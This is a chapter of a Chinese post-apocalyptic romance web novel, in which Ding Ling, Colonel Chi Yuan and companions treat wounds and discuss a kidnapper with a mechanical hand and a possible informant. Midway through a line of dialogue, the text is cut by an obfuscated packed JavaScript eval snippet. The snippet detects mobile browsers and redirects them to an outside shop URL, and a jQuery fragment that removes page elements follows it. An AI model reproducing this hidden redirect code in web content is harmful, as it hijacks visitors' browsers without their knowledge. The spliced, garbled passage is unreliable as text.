57. 惊艳
作品:《辅助系反向求生指南[末世]》 “不知道。”丁灵实话实说。
“我也听不懂。”池渊一把揽过苏信,哥俩好的样子把手搭在他的肩膀上,“走吧,回去收拾收拾。”
他看丁灵这几个伤口早就不顺眼了。
苏信并不奇怪他的发言,看着他装傻,无奈地摇了摇头:“池渊,你……”
池渊的手绕过苏信的肩膀,一把把他的嘴给捂上,幽幽地把话送到他的耳朵里:“苏副官,别说话。”
他能不知道吗?左右就是给他派了新的任务,不过他这次可是有正当理由的。毕竟封印虽然解开,真要发挥全部实力,还得让丁灵的精神力帮他“保驾护航”才行。
*
几人先行分开,苏副官还有事让池渊处理,丁灵等人则是回到池渊先前为他们准备的别墅。
斗兽场里的对抗,陈千结几乎看了全程,早就担心地拉过丁灵的手,运转着治愈系异能,帮助丁灵修复伤口。
异能在丁灵的身体里游走,她越治疗眉头就皱得越紧。
伤比她想得更严重,不仅手臂上有被异化动物咬伤的痕迹,连大腿、肩胛骨多处地方都有着不浅的伤。
只是血迹都隐藏在衣服下,他们居然一直没注意。
该说丁灵太能忍,还是她们观察力实在太弱,这么重的伤,真让人想不到丁灵是如何一直保持镇定的。
陈千结心里闷闷的,丁灵姐姐无时无刻不在保护他们,说不定不止这次,以前也受过伤,只是没让她们发现。
她怎么能这么迟钝,明明他们都是辅助系,却只靠着丁灵一个人在前面冲锋陷阵。现在连罗焰都能派上用场了,她却只能在身后做些微不足道的事情。
如果可以,她也好想变强,她也想成为丁灵姐姐的左膀右臂。
不过还是先把手头上能做的事情先做好。这么想着,她的动作更轻柔,以异能为针,小心翼翼地把那些狰狞的血肉给缝补起来。
青梧坐在另一侧的沙发上,不动声色地观察着陈千结的情况,看她默默落泪,想来又是心疼别人了,忍不住眼神黯淡了几分。
治愈系异能游走周身,疼痛欲裂的感觉又席卷全身,丁灵咬着牙没发出声音,只是汗水大颗大颗地打在地面。实在忍不住了,才从牙缝里漏出几道挣扎的声音。
幸而有罗焰在一旁关心着花爻的遭遇,把她被掳走的经历仔仔细细问了一遍,发出了不少声音,才让人没注意到丁灵这边的动静。
丁木木蔫了一般倒在青梧的怀里,随着丁灵身上的疼痛不住地打滚。
只可惜青梧早说过,因为做实验影响了精神力的缘故,他的精神体,早就消失了。不然还能让小家伙出来陪着丁木木。
“咔嗒——”
有人直接推门进来,警报器没响,大概是池渊派来的人。
折腾到深夜,门外已然漆黑一片,来人迎着光,被客厅的灯照得清楚。
一袭军装板正地穿在身上,服帖的衣服显露出宽厚的肩膀,腰带好好地扣在腰上,衬出劲瘦的腰身。衣装之下,是掩盖不住的肌肉。不过还是这个人一贯的漫不经心,帽子被他摘下,随意地夹在手腕里。
丁灵的心响个不停。
末世的天气最是无常,明明是风雨交加的夜,却突然开了太阳,雨也全部销声匿迹。不过阳光打在脸上,是最舒服的,人晒得热乎乎的,心情也会变好,连心脏也会愉悦得狂跳。就像现在这样。
丁灵心跳得快,表情却和平常无异。如果忽略她目不转睛的眼神的话,还真以为对这套造型毫无兴趣。
池渊一向爱观察丁灵,这次却迟钝了,没读出她眼里的欣赏,和欲望……
水龙飞快地窜进来,把丁木木挽在尾巴里,头则立起,和它四目相对。
这是丁木木第一次见到水龙的真实模样,她好奇地盯着水龙的角、眼睛、嘴巴、胡须……
水龙像是想起什么,伸出爪子,一把把胡须捋下来,藏在脸后。
越是藏起来的东西丁木木越是感兴趣,它不管三七二十一,把水龙的爪子给打掉,揪起胡子就往身前拉。
水龙跟着她拉的方向向前伸脖子,在丁木木的胸前又绕了一圈,把它缠得更实。如今它能够显露真身,把丁木木从头到尾裹实了都有余。
池渊做出一副受伤的模样,捂着胸口坐到丁灵身边:“你的小木头下手真狠。”
丁灵早看到了小家伙们的互动,一个愿打一个愿挨,还真说不上是谁欺负谁,说不定是乐在其中。
“池渊上校,有什么想解释的吗?”明明是简单的名字,被丁灵带着些冰冷的语气念出,池渊无端地听出了几分悦耳。
不过他向来没皮没脸,安心地把腿架到茶几上:“你不都知道了。名字、身份、异能等级、精神体……”
说着,他突然想到了什么:“小树精,你不会没有听说过我吧?”
丁灵转过头来看着他,看着他神情得意,没说话。
“不会吧,真没听说过?”
“池渊上校战神的名头,很难不知道。”语气平淡,似乎只是在陈述事实,只是目光灼灼,眼底占满的,全是池渊的身影。
目光总盯着他的身体,怎么不像是对他的功绩表示赞叹。
池渊揣着心思来,不过也知道在丁灵嘴里,可听不到什么好话。
他看向鬼鬼祟祟站在沙发边上的罗焰:“你又干什么。”
态度一般,但耐不住罗焰的热情满溢:“大佬,不是,池渊上校、战神大人,我特别崇拜您,从您当初一个人杀进异化虫的老巢,放水淹了它们整个洞穴的时候就崇拜您,特别是当初东海一站,带着军队硬生生逼退异化潮,真是太厉害了!还有……”
这般恭维,池渊也是鲜少听到,尤其罗焰说得真诚,让人心中无端地畅快:“过奖过奖。”
想起罗焰对甜点的热情,他煞有其事地摸摸下巴:“你喜欢吃的那些饼干、点心,明天我让苏信拿一箱来。”
“不,十箱,我直接让他装在空间钥匙里,给你带在身上。”
“什么!”美味珍馐和价值连城的空间钥匙,昂贵但让人说不出拒绝的话来。罗焰兴奋得跳了起来,连眼镜都差点飞掉。
池渊对着丁灵挑挑眉,似乎在说:你不懂欣赏,自然有人懂。
丁灵看着罗焰的高兴样,眉眼间也感染了些喜悦,淡淡地开口:“还有件事。”
“什么?”池渊心情极好,哪怕是再来十件事,他也能抓紧办好。
不过是吩咐苏信去办,毕竟……替上校分忧解难本就是副官的本职工作。
“斗兽场,有人用机械手吗?”丁灵组织了一下语言,简要概括。
“是呀是呀,花爻姐姐就是被有机械
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302821|196150||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手的人抓走的!”陈千结这才想起来一行人原是要去黑市找机械手的线索的,不过花爻没等她们找,就出现在台上。
这群可恶的坏人,哪怕大家现在都安全了,也得把他们都揪出来。
池渊梳理后开口:“在册的守卫兵,应该都没有。”
“那——”陈千结急切,还想再问,却被敲门声打断。
“咚咚咚——”门被有礼貌地敲响。
罗焰听到敲门声,“蹭”地从沙发上站了起来,花爻也有些神情紧张。如今的东部基地暗流涌动,来人说不准是好是坏。
丁灵倒是没什么反应,能从池渊上校亲手安排的高科技院墙里进来,想必是自己人。他的地盘,能出什么事。
她看着水龙用尾巴卷着丁木木,亲昵地飞到她的怀里,轻轻靠在她的小腹处。
“进。”池渊好像知道来人身份的样子,悠闲地回复了一声。
原来是苏信,高大的身躯一进门,就压去了,他憨厚地笑了笑:“有什么我能帮忙的吗?”
众人七嘴八舌地把正在讨论的事情告诉苏信,他倒是了然地点了点头:“要是说机械手的话,我知道一个人。”
“池砚。”
最先吃惊的居然是池渊:“什么时候???”
苏信继续解释:“前段时间,池中校听从池上将的命令,去沿海清缴了一处异化动物,结果不慎被一条异化鲨鱼咬坏了手,于是就从小臂处重新按了一条机械手。这件事情,在元帅那里,是过了明路的。”
池上将,也就是池砚的父亲,池渊的大伯,不知道他又在搞什么名堂,把自己的蠢儿子送出去执行任务。
难怪池渊不知情,原来也是才发生的事情。丁灵在心中默默思考,一个斗兽场背后的主人,亲自去抓一个普通人,听起来更荒谬了。
花爻也这么认为:“我在挣扎的时候确实磕到了墙角,但没注意抓我的人用的是不是机械手。而且既然这个人叫‘池中校’,地位应当很不一般。”她摇摇头,“总之,我没感受出来。”
此事毫无头绪,众人暂且搁置,池渊倒是想到了一件新的事情:“说起来,我也有件事没弄明白。从我家去斗兽场,不过十几分钟的事情。可我前脚刚到,蒋应非就带着人上门了。就好像……”
“有人泄密?军队的人?”丁灵把话接上。
池渊不满地看了她一眼,是在暗指他治下无方吗:“怎么会,我带的队伍,怎么可能有人有二心。”
说得斩钉截铁,其实早查了个遍,确定没人泄密,这才大胆开口,他可不想在丁灵面前落下风。
不过这件事也就苏信知道,他不说,自然也不会暴露。
此时的他,拿手挡住脸,藏住自己一副“孩子真难带”的表情。
“那个。”陈千结举手,似乎有几分畏缩,挣扎后才敢表露自己的结论,“沈大哥,不是军队的人。”
言外之意,这个她信任的大哥,很可能为了利益出卖了大家。
虽然不愿意相信,不过在末世,人心是最多变的,即使是曾经信任的人,也可能会一夕背叛。
池渊眼神促狭,语气冷了几分:“那就又有个新问题了。”
对上陈千结迷茫的眼神,丁灵回忆起几人上街那天。怎么会那么巧,就碰上以前认识的老“朋友”:“他是谁派来接近我们的。”

